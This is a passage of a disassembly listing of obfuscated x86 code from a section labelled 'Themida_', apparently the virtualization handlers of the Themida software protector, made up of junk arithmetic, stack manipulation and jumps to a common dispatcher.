loc_54C68C:				; CODE XREF: Themida_:0054BE68j
		mov	esi, [esp]
		add	esp, 4
		push	esi
		not	dword ptr [esp]
		jmp	loc_54B04B
; ---------------------------------------------------------------------------


loc_54C69E:				; CODE XREF: Themida_:005456B6j
		push	57C4h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_54AB89
; ---------------------------------------------------------------------------


loc_54C6AC:				; CODE XREF: Themida_:005470EEj
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54C6B1:				; CODE XREF: Themida_:0054C173j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54C6B6:				; CODE XREF: Themida_:00549772j
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 26497656h
		sub	ebx, 2B99010Fh
		xor	ebx, 0FAB07543h
		add	esi, 50480EC7h
		add	esi, ebx
		push	edx
		mov	edx, 60184A1Bh
		neg	edx
		inc	edx
		sub	edx, 4F9FA71Fh
		sub	esi, edx
		jmp	loc_54DDA8
; ---------------------------------------------------------------------------


loc_54C6F0:				; CODE XREF: Themida_:00547ACAj
		xor	eax, ecx
		push	5AA4h
		mov	[esp], eax
		jmp	loc_547A15
; ---------------------------------------------------------------------------


loc_54C6FF:				; CODE XREF: Themida_:0054524Dj
		or	esi, 5AA53BC3h
		push	edx
		mov	edx, 3D65F900h
		xor	esi, edx
		pop	edx
		mov	edi, esi
		pop	esi
		xor	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_546D51
; ---------------------------------------------------------------------------


loc_54C71E:				; CODE XREF: Themida_:0054AEE1j
		push	edx
		jmp	loc_54F941
; ---------------------------------------------------------------------------


loc_54C724:				; CODE XREF: Themida_:0054A9B8j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5454C2
; ---------------------------------------------------------------------------


loc_54C73B:				; CODE XREF: Themida_:0054D26Bj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54479B
; ---------------------------------------------------------------------------


loc_54C74F:				; CODE XREF: Themida_:005472A4j
		dec	esi
		push	edx
		mov	edx, 5B5846Ah
		xor	esi, edx
		pop	edx
		sub	eax, esi
		pop	esi
		push	ecx
		push	edi
		push	3D3B0383h
		jmp	loc_54D86E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		jmp	loc_548C04
; ---------------------------------------------------------------------------


loc_54C770:				; CODE XREF: Themida_:0054EF0Ej
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54C785:				; CODE XREF: Themida_:0054BDFFj
		mov	edi, eax
		mov	esi, edi
		jmp	loc_546287
; ---------------------------------------------------------------------------


loc_54C78E:				; CODE XREF: Themida_:0054550Bj
		pop	esp
		mov	[esp], edi
		jmp	loc_5471D4
; ---------------------------------------------------------------------------


loc_54C797:				; CODE XREF: Themida_:0054B1ACj
		sub	esi, ebp
		pop	ebp
		sub	esi, edi
		jmp	loc_54C482
; ---------------------------------------------------------------------------


loc_54C7A1:				; CODE XREF: Themida_:0054DB2Bj
		sub	esp, 4
		jmp	loc_54CC49
; ---------------------------------------------------------------------------


loc_54C7A9:				; CODE XREF: Themida_:0054F598j
		xor	eax, ebx
		push	esi
		mov	esi, 25F2098Fh
		push	ebx
		mov	ebx, 38832A93h
		add	ebx, 1E311A99h
		jmp	loc_54F6CC
; ---------------------------------------------------------------------------


loc_54C7C2:				; CODE XREF: Themida_:0054FA72j
		add	[esp+4], edi
		pop	edi
		pop	eax
		push	53B2h
		jmp	loc_54B8DD
; ---------------------------------------------------------------------------


loc_54C7D2:				; CODE XREF: Themida_:00544640j
		sub	eax, edx
		sub	eax, 27C66026h
		mov	edx, [esp]
		add	esp, 4
		push	51CBh
		mov	[esp], edi
		push	75B99524h
		mov	edi, [esp]
		add	esp, 4
		push	0E8h
		jmp	loc_54BB44
; ---------------------------------------------------------------------------


loc_54C7FC:				; CODE XREF: Themida_:00546760j
		inc	ebp
		add	ebp, 599C116Ah
		sub	edi, ebp
		jmp	loc_54CD5D
; ---------------------------------------------------------------------------


loc_54C80A:				; CODE XREF: Themida_:005441E7j
		push	cx
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54C812:				; CODE XREF: Themida_:00546FD1j
		xchg	al, dl
		or	dl, 18h
		sub	dl, 4Ch
		sub	al, 12h
		sub	al, dl
		add	al, 12h
		pop	edx
		add	al, bh
		add	al, 0EEh
		pop	ebx
		xor	bl, al
		movzx	eax, al
		push	small 4456h
		mov	[esp], ax
		jmp	loc_5454E3
; ---------------------------------------------------------------------------


loc_54C838:				; CODE XREF: Themida_:0054D01Fj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_544028
; ---------------------------------------------------------------------------


loc_54C845:				; CODE XREF: Themida_:00546289j
		and	[edi+1Ch], esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_547B42
; ---------------------------------------------------------------------------


loc_54C857:				; CODE XREF: Themida_:00546E6Bj
		and	eax, 54435C19h
		xor	eax, 440500Ch
		jmp	loc_548AE8
; ---------------------------------------------------------------------------


loc_54C866:				; CODE XREF: Themida_:0054BD48j
		mov	[esp], edi
		push	edi
		jmp	loc_54640A
; ---------------------------------------------------------------------------


loc_54C86F:				; CODE XREF: Themida_:0054A40Ej
		pop	ebx
		jmp	loc_547C59
; ---------------------------------------------------------------------------


loc_54C875:				; CODE XREF: Themida_:005443CEj
		add	edi, eax
		add	edi, 29D3536Eh
		mov	eax, [esp]
		jmp	loc_54CD52
; ---------------------------------------------------------------------------


loc_54C885:				; CODE XREF: Themida_:0054E481j
		mov	edi, 27B86B54h
		xor	edi, 24A54C3Fh
		jmp	loc_54DED9
; ---------------------------------------------------------------------------


loc_54C895:				; CODE XREF: Themida_:005478EBj
		push	ecx
		mov	ecx, 3D000403h
		push	edi
		mov	edi, 757D4804h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3C613FB9h
		add	edx, 66CC1660h
		dec	edx
		inc	edx
		or	edx, 31DF4A76h
		push	ebp
		mov	ebp, 44D20510h
		jmp	loc_54C5B8
; ---------------------------------------------------------------------------


loc_54C8C5:				; CODE XREF: Themida_:0054EF74j
		push	1AD1h
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, 773A293Bh
		add	ecx, ebp
		sub	ecx, 773A293Bh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	eax
		jmp	loc_54DFBE
; ---------------------------------------------------------------------------


loc_54C8F0:				; CODE XREF: Themida_:0054D019j
		add	ecx, edi
		jmp	loc_54EE62
; ---------------------------------------------------------------------------


loc_54C8F7:				; CODE XREF: Themida_:005470C8j
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		sub	edi, 46988BFCh
		jmp	loc_54FD4D
; ---------------------------------------------------------------------------


loc_54C906:				; CODE XREF: Themida_:00549EDAj
		sub	esi, 33292459h
		add	esi, 55B94C62h
		sub	esi, 33D8335Fh
		add	esi, ecx
		add	esi, 33D8335Fh
		push	edx
		mov	edx, 76046109h
		or	edx, 4A0206AFh
		shr	edx, 5
		jmp	loc_5449E0
; ---------------------------------------------------------------------------


loc_54C934:				; CODE XREF: Themida_:0054437Dj
		add	ebx, 4
		jmp	loc_5474E7
; ---------------------------------------------------------------------------


loc_54C93C:				; CODE XREF: Themida_:0054E2FDj
		add	esi, ebp
		pop	ebp
		add	esi, 4
		jmp	loc_547C1B
; ---------------------------------------------------------------------------


loc_54C94A:				; CODE XREF: Themida_:0054427Aj
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 75D1079Ah
		jmp	loc_54762A
; ---------------------------------------------------------------------------


loc_54C95F:				; CODE XREF: Themida_:00547A64j
		push	eax
		mov	eax, 4
		add	esi, 7947342Ah
		add	esi, eax
		sub	esi, 7947342Ah
		pop	eax
		add	esi, 4
		jmp	loc_54E77D
; ---------------------------------------------------------------------------


loc_54C97C:				; CODE XREF: Themida_:005445CBj
		sub	edx, 68920825h
		push	ebx
		mov	ebx, 0DB136BCEh
		jmp	loc_5458D4
; ---------------------------------------------------------------------------


loc_54C98D:				; CODE XREF: Themida_:0054E215j
		push	ebx
		mov	ebx, 15012699h
		and	esi, ebx
		pop	ebx
		sub	esi, 0FFFFFFFFh
		xor	esi, 0E7C5AFE3h
		jmp	loc_545110
; ---------------------------------------------------------------------------


loc_54C9A4:				; CODE XREF: Themida_:0054D9BDj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 2BD22783h
		and	ebp, 4580C32h
		not	ebp
		shl	ebp, 6
		sub	ebp, 1
		jmp	loc_547E61
; ---------------------------------------------------------------------------


loc_54C9C9:				; CODE XREF: Themida_:0054DFEBj
		mov	ebx, ecx
		pop	ecx
		mov	esi, ebx
		jmp	loc_5466F4
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_54EB90
; ---------------------------------------------------------------------------


loc_54C9DC:				; CODE XREF: Themida_:0054B08Bj
		add	eax, 59C65CB0h
		pop	ebx
		sub	eax, 49A023E5h
		jmp	loc_54BE54
; ---------------------------------------------------------------------------


loc_54C9EC:				; CODE XREF: Themida_:0054FB17j
		pop	ecx


loc_54C9ED:				; CODE XREF: Themida_:00549104j
					; Themida_:loc_549648j
		push	2D76h
		mov	[esp], ebx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_54607F
; ---------------------------------------------------------------------------


loc_54CA0B:				; CODE XREF: Themida_:00549F69j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		sub	dword ptr [esp+4], 6F9A6EFCh
		jmp	loc_54934A
; ---------------------------------------------------------------------------


loc_54CA2A:				; CODE XREF: Themida_:0054B590j
		push	esi
		push	7A23h
		jmp	loc_54D379
; ---------------------------------------------------------------------------


loc_54CA35:				; CODE XREF: Themida_:005471CFj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 32FE1D8Fh
		shr	edi, 5
		push	ecx
		mov	ecx, 6555190Dh
		xor	ecx, 153B7F51h
		or	edi, ecx
		pop	ecx
		shr	edi, 7
		shr	edi, 1
		jmp	loc_54CF87
; ---------------------------------------------------------------------------


loc_54CA5F:				; CODE XREF: Themida_:00547F90j
		push	67F4h
		mov	[esp], esi
		push	55DEh
		mov	[esp], ecx
		mov	ecx, 1D8E0E7Eh
		mov	esi, ecx
		pop	ecx
		xor	ebx, esi
		pop	esi
		xor	eax, ebx
		mov	ebx, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	$+5
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54C267
; ---------------------------------------------------------------------------
		sub	esp, 2
		mov	[esp], bp
		jmp	loc_544868
; ---------------------------------------------------------------------------


loc_54CAAD:				; CODE XREF: Themida_:005477D2j
		pop	esp
		dec	edi
		sub	edi, 0CF7F23E4h
		jmp	loc_54B785
; ---------------------------------------------------------------------------


loc_54CABA:				; CODE XREF: Themida_:00549678j
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 2
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_547CF1
; ---------------------------------------------------------------------------


loc_54CAE1:				; CODE XREF: Themida_:00546854j
		push	79D9h
		jmp	loc_5449D8
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_548099
; ---------------------------------------------------------------------------


loc_54CAFF:				; CODE XREF: Themida_:005500A7j
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54CB10:				; CODE XREF: Themida_:0054AEFBj
		add	esi, ecx
		pop	ecx
		or	ecx, esi
		pop	esi
		add	ecx, 58AB0BFAh
		add	ecx, 0A8F57467h
		jmp	loc_546F56
; ---------------------------------------------------------------------------


loc_54CB27:				; CODE XREF: Themida_:0054405Ej
		dec	ecx
		neg	ecx
		xor	ecx, 9000CB27h
		add	eax, ecx
		pop	ecx
		add	eax, 4
		jmp	loc_54A9C9
; ---------------------------------------------------------------------------


loc_54CB3B:				; CODE XREF: Themida_:00547060j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		push	4
		jmp	loc_545252
; ---------------------------------------------------------------------------


loc_54CB51:				; CODE XREF: Themida_:0054769Aj
		push	0Ah
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_549AF6
; ---------------------------------------------------------------------------


loc_54CB67:				; CODE XREF: Themida_:00546006j
		add	esp, 4
		jmp	loc_5471F0
; ---------------------------------------------------------------------------


loc_54CB72:				; CODE XREF: Themida_:0054FDFEj
		mov	[esp], ecx
		mov	ecx, 2
		jmp	loc_54BBCA
; ---------------------------------------------------------------------------


loc_54CB7F:				; CODE XREF: Themida_:0054959Dj
		mov	[esp], ebx
		jmp	loc_549F5B
; ---------------------------------------------------------------------------


loc_54CB87:				; CODE XREF: Themida_:00547CA3j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		pop	edx
		pop	ebx
		jmp	loc_544022
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_54B71B
; ---------------------------------------------------------------------------


loc_54CBA9:				; CODE XREF: Themida_:0054CC55j
		sub	al, ch
		jmp	loc_54EAF0
; ---------------------------------------------------------------------------


loc_54CBB0:				; CODE XREF: Themida_:005492EFj
		shl	si, 1
		sub	si, 4FD0h
		push	ebx
		mov	bx, si
		push	edx
		mov	dx, bx
		mov	cx, dx
		jmp	loc_545F2F
; ---------------------------------------------------------------------------


loc_54CBC8:				; CODE XREF: Themida_:0054DD08j
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54CBD4:				; CODE XREF: Themida_:0054C41Cj
		add	eax, edx
		push	ecx
		mov	ecx, 23E57555h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_54DFF0
; ---------------------------------------------------------------------------


loc_54CBF8:				; CODE XREF: Themida_:0054B1D5j
		push	70A7h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	0B31h
		mov	[esp], esi
		jmp	loc_54D323
; ---------------------------------------------------------------------------


loc_54CC15:				; CODE XREF: Themida_:0054B5CFj
		push	edx
		jmp	loc_54F703
; ---------------------------------------------------------------------------


loc_54CC1B:				; CODE XREF: Themida_:00549FE1j
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54ECA1
; ---------------------------------------------------------------------------


loc_54CC2B:				; CODE XREF: Themida_:00547424j
		mov	edx, edi
		jmp	loc_54858C
; ---------------------------------------------------------------------------


loc_54CC32:				; CODE XREF: Themida_:0054D7ECj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		jmp	loc_546E96
; ---------------------------------------------------------------------------


loc_54CC42:				; CODE XREF: Themida_:0054EB8Bj
		mov	al, bh
		jmp	loc_547653
; ---------------------------------------------------------------------------


loc_54CC49:				; CODE XREF: Themida_:0054C7A4j
		mov	[esp], edi
		jmp	loc_54CDDA
; ---------------------------------------------------------------------------


loc_54CC51:				; CODE XREF: Themida_:00549F80j
		add	al, 89h
		sub	al, 6Bh
		jmp	loc_54CBA9
; ---------------------------------------------------------------------------


loc_54CC5A:				; CODE XREF: Themida_:0054E8A0j
		pop	ebp
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	edi, 5
		sub	edi, 0E9CDDA1Fh
		add	edx, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54F7F9
; ---------------------------------------------------------------------------


loc_54CC80:				; CODE XREF: Themida_:00548C39j
		mov	[edx], eax
		pop	edx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		pop	edi
		jmp	loc_544C26
; ---------------------------------------------------------------------------


loc_54CC91:				; CODE XREF: Themida_:005469CEj
		mov	bl, 9
		add	bl, 0FFh
		inc	bl
		xor	bl, 6Eh
		not	bl
		sub	bl, 0A9h
		mov	dh, bl
		pop	ebx
		jmp	loc_54B643
; ---------------------------------------------------------------------------


loc_54CCA8:				; CODE XREF: Themida_:00548D27j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54CCB6:				; CODE XREF: Themida_:0054484Aj
		sub	eax, 0AC60424h
		mov	esi, eax
		jmp	loc_5491DE
; ---------------------------------------------------------------------------


loc_54CCC2:				; CODE XREF: Themida_:005472F5j
		push	47DBh
		mov	[esp], ecx
		push	eax
		push	77D4ABAh
		pop	eax
		mov	ecx, eax
		pop	eax
		inc	ecx
		jmp	loc_54A071
; ---------------------------------------------------------------------------


loc_54CCDA:				; CODE XREF: Themida_:005458C0j
		shl	esi, 5
		or	esi, 4F9C1FA0h
		push	6ADBh
		mov	[esp], ecx
		push	esi
		mov	esi, 1766D16h
		mov	ecx, 654498Ah
		jmp	loc_54F299
; ---------------------------------------------------------------------------


loc_54CCFB:				; CODE XREF: Themida_:005451A6j
		pop	esi
		add	esp, 4


loc_54CCFF:				; CODE XREF: Themida_:0054ACF0j
		push	ebx
		push	dword ptr [esp]
		jmp	loc_548D2C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5483BE
; ---------------------------------------------------------------------------


loc_54CD11:				; CODE XREF: Themida_:0054A4B9j
		add	edi, 4
		jmp	loc_5495C6
; ---------------------------------------------------------------------------


loc_54CD1C:				; CODE XREF: Themida_:0054B029j
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_547FEF
; ---------------------------------------------------------------------------


loc_54CD2B:				; CODE XREF: Themida_:0054C607j
		add	edi, eax
		pop	eax
		jmp	loc_54DC4D
; ---------------------------------------------------------------------------


loc_54CD33:				; CODE XREF: Themida_:00545393j
		push	eax
		mov	eax, 23E40FE3h
		jmp	loc_54B734
; ---------------------------------------------------------------------------


loc_54CD3E:				; CODE XREF: Themida_:0054A073j
		push	ebp
		push	eax
		mov	eax, 0
		push	eax
		add	dword ptr [esp], 49111061h
		jmp	loc_54B231
; ---------------------------------------------------------------------------


loc_54CD52:				; CODE XREF: Themida_:0054C880j
		add	esp, 4
		jmp	loc_54FC02
; ---------------------------------------------------------------------------


loc_54CD5D:				; CODE XREF: Themida_:0054C805j
		pop	ebp
		push	3AFDh
		mov	[esp], edi
		jmp	loc_54600B
; ---------------------------------------------------------------------------


loc_54CD6B:				; CODE XREF: Themida_:0054DA8Cj
		and	eax, edi
		pop	edi
		or	edx, eax
		jmp	loc_54BF35
; ---------------------------------------------------------------------------


loc_54CD75:				; CODE XREF: Themida_:00548895j
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_546D11
; ---------------------------------------------------------------------------


loc_54CD7F:				; CODE XREF: Themida_:00549552j
		add	eax, 4
		jmp	loc_5464CB
; ---------------------------------------------------------------------------


loc_54CD87:				; CODE XREF: Themida_:00549DA0j
		mov	[esp], esi
		push	73F836B9h
		pop	esi
		add	esi, 8C07C948h
		mov	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_545F29
; ---------------------------------------------------------------------------


loc_54CDA6:				; CODE XREF: Themida_:0054DFB9j
		add	eax, [ebx]
		pop	ebx
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 504B6516h
		inc	eax
		not	eax
		jmp	loc_548811
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54CDCD:				; CODE XREF: Themida_:0054F5B8j
		push	edi
		push	eax
		push	19F618D5h
		pop	eax
		jmp	loc_548074
; ---------------------------------------------------------------------------


loc_54CDDA:				; CODE XREF: Themida_:0054CC4Cj
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_5476CD
; ---------------------------------------------------------------------------


loc_54CDE7:				; CODE XREF: Themida_:0054E98Bj
		pop	ecx
		pop	edi
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		jmp	loc_54C109
; ---------------------------------------------------------------------------


loc_54CDFA:				; CODE XREF: Themida_:0054C230j
		mov	ecx, [esp]
		jmp	loc_54BF94
; ---------------------------------------------------------------------------


loc_54CE02:				; CODE XREF: Themida_:005494D8j
		mov	esp, [esp]
		jmp	loc_5459FD
; ---------------------------------------------------------------------------


loc_54CE0A:				; CODE XREF: Themida_:00547C49j
		add	ecx, esi
		jmp	loc_54AD13
; ---------------------------------------------------------------------------


loc_54CE11:				; CODE XREF: Themida_:0054436Fj
		mov	ebx, 34BA1AF0h
		add	ebx, ecx
		jmp	loc_547D09
; ---------------------------------------------------------------------------


loc_54CE1D:				; CODE XREF: Themida_:0054D702j
		add	esp, 4
		push	ebx
		jmp	loc_547FC0
; ---------------------------------------------------------------------------


loc_54CE29:				; CODE XREF: Themida_:0054D811j
		pop	ebp
		add	edi, ecx
		push	ebx
		jmp	loc_5500B8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	419Dh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_547947
; ---------------------------------------------------------------------------


loc_54CE49:				; CODE XREF: Themida_:0054F5C8j
		add	esp, 4
		jmp	loc_549379
; ---------------------------------------------------------------------------


loc_54CE54:				; CODE XREF: Themida_:0054C1BEj
		mov	[esp], edx
		mov	edx, 36CA5BDAh
		jmp	loc_54B993
; ---------------------------------------------------------------------------


loc_54CE61:				; CODE XREF: Themida_:0054B957j
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_544D5A
; ---------------------------------------------------------------------------


loc_54CE6E:				; CODE XREF: Themida_:0054AA5Ej
		mov	esp, [esp]
		jmp	loc_5461B6
; ---------------------------------------------------------------------------


loc_54CE76:				; CODE XREF: Themida_:0054764Ej
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	41F2h
		mov	[esp], ecx
		mov	ch, 88h
		push	small 8EDh
		mov	[esp], cx
		xchg	dl, [esp+1]
		not	dl
		xor	[esp+1], dl
		xor	dl, [esp+1]
		jmp	loc_5488AC
; ---------------------------------------------------------------------------


loc_54CEA8:				; CODE XREF: Themida_:0054F2BBj
		push	ecx
		push	esp
		pop	ecx
		push	esi
		push	eax
		mov	eax, 66394B92h
		jmp	loc_54F049
; ---------------------------------------------------------------------------


loc_54CEB7:				; CODE XREF: Themida_:005452B1j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54CEC2:				; CODE XREF: Themida_:0054ADE9j
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_546F25
; ---------------------------------------------------------------------------


loc_54CED2:				; CODE XREF: Themida_:0054C4DEj
		add	edx, 4
		push	ebp
		mov	ebp, 69DF229Fh
		add	ebp, 9620DD65h
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	dh, 0C3h
		mov	cl, dh
		pop	edx
		sub	al, 97h
		sub	al, cl
		add	al, 97h
		mov	ecx, [esp]
		push	ebp
		push	esp
		jmp	loc_54B3FE
; ---------------------------------------------------------------------------


loc_54CF04:				; CODE XREF: Themida_:00545FAAj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	6783h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54E607
; ---------------------------------------------------------------------------


loc_54CF24:				; CODE XREF: Themida_:00549EE5j
		mov	[esp], edx
		push	eax
		push	ecx
		mov	ecx, 4637304h
		mov	eax, ecx
		pop	ecx
		xor	eax, 5E27650h
		not	eax
		add	eax, 4D4D37B1h
		mov	edx, eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_54565D
; ---------------------------------------------------------------------------


loc_54CF53:				; CODE XREF: Themida_:00548DDEj
		mov	ebx, 92F62C3h
		add	dword ptr [esp+4], 4DFB32D3h
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 4DFB32D3h
		pop	ebx
		pop	eax
		sub	eax, 92F62C3h
		pop	edi
		add	eax, edi
		mov	ecx, [eax]
		mov	eax, [esp]
		jmp	loc_54723A
; ---------------------------------------------------------------------------


loc_54CF80:				; CODE XREF: Themida_:0054736Ej
		shr	edi, 1
		jmp	loc_54E9EB
; ---------------------------------------------------------------------------


loc_54CF87:				; CODE XREF: Themida_:0054CA5Aj
		sub	edi, 61DA1866h
		sub	edx, edi
		pop	edi
		jmp	loc_54A0E9
; ---------------------------------------------------------------------------


loc_54CF95:				; CODE XREF: Themida_:00548E66j
		xchg	edx, [esp]
		pop	esp
		sub	edx, 4A897951h
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54D599
; ---------------------------------------------------------------------------


loc_54CFAA:				; CODE XREF: Themida_:00546463j
		add	esp, 4
		push	ebp
		mov	ebp, 54CC6A93h
		shl	ebp, 8
		xor	ebp, 6F9F5585h
		not	ebp
		push	edx
		mov	edx, 162342D8h
		add	edx, 7EB515B1h
		or	edx, 54E92095h
		and	edx, 5010501Ch
		xor	edx, 4F306D3Bh
		jmp	loc_54F583
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_546594
; ---------------------------------------------------------------------------


loc_54CFEA:				; CODE XREF: Themida_:005459ECj
		sub	ax, bx
		pop	ebx
		push	252Ch
		mov	[esp], ebp
		push	small 7BB4h
		jmp	loc_5491BB
; ---------------------------------------------------------------------------


loc_54CFFF:				; CODE XREF: Themida_:0054C379j
		push	edi
		jmp	loc_54D2A3
; ---------------------------------------------------------------------------


loc_54D005:				; CODE XREF: Themida_:00544D9Dj
		pop	esp
		jmp	loc_54A7C6
; ---------------------------------------------------------------------------


loc_54D00B:				; CODE XREF: Themida_:0054F7F4j
		mov	ecx, esp
		push	edi
		mov	edi, 74592DA3h
		add	edi, 8BA6D261h
		jmp	loc_54C8F0
; ---------------------------------------------------------------------------


loc_54D01E:				; CODE XREF: Themida_:0054F2E3j
		push	ebp
		jmp	loc_54C838
; ---------------------------------------------------------------------------


loc_54D024:				; CODE XREF: Themida_:00547034j
		pop	esp
		imul	cl
		movzx	cx, ah
		push	small 64BBh
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_5448DB
; ---------------------------------------------------------------------------


loc_54D03C:				; CODE XREF: Themida_:0054BCD2j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54D824
; ---------------------------------------------------------------------------


loc_54D04A:				; CODE XREF: Themida_:00548E04j
		mov	esi, 74C17A6h
		add	esi, 5D343225h
		xor	eax, esi
		pop	esi
		xor	eax, 56DA5C98h
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		and	ecx, edx
		jmp	loc_54FF81
; ---------------------------------------------------------------------------


loc_54D06C:				; CODE XREF: Themida_:00547A10j
		not	eax
		neg	eax
		add	eax, 0FFFFFFFFh
		xor	eax, 64AD622Fh
		jmp	loc_5484BF
; ---------------------------------------------------------------------------


loc_54D07D:				; CODE XREF: Themida_:005480EDj
		inc	esi
		not	esi
		xor	esi, 41773810h
		jmp	loc_54A5B7
; ---------------------------------------------------------------------------


loc_54D08B:				; CODE XREF: Themida_:00545FFEj
		mov	ebx, [esp]
		push	4CA6h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		push	ecx
		push	376A3FE5h
		jmp	loc_5453EF
; ---------------------------------------------------------------------------


loc_54D0AA:				; CODE XREF: Themida_:0054429Cj
		add	esi, 414219ACh
		sub	esi, 7C3D5Fh
		pop	ecx
		jmp	loc_54440E
; ---------------------------------------------------------------------------


loc_54D0BC:				; CODE XREF: Themida_:00544B29j
		not	edx
		xchg	edx, ebx
		sub	ebx, 6D0CB822h
		add	edx, 22181ADCh
		add	edx, ebx
		sub	edx, 22181ADCh
		pop	ebx
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54D0DA:				; CODE XREF: Themida_:00549C69j
		mov	cl, ah
		jmp	loc_549C89
; ---------------------------------------------------------------------------


loc_54D0E1:				; CODE XREF: Themida_:0054C64Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_548D58
; ---------------------------------------------------------------------------


loc_54D0EF:				; CODE XREF: Themida_:00548FA3j
		add	edi, 58FDDD4Bh
		mov	esi, edi
		pop	edi
		add	ecx, esi
		pop	esi
		add	ebp, ecx
		pop	ecx
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54D10E:				; CODE XREF: Themida_:0054BDC2j
		sub	esi, 7C2A7855h
		push	ecx
		mov	ecx, 378A3786h
		neg	ecx
		push	5DAAh
		mov	[esp], ebx
		push	edi
		mov	edi, 613D7FDCh
		mov	ebx, edi
		pop	edi
		sub	ecx, ebx
		pop	ebx
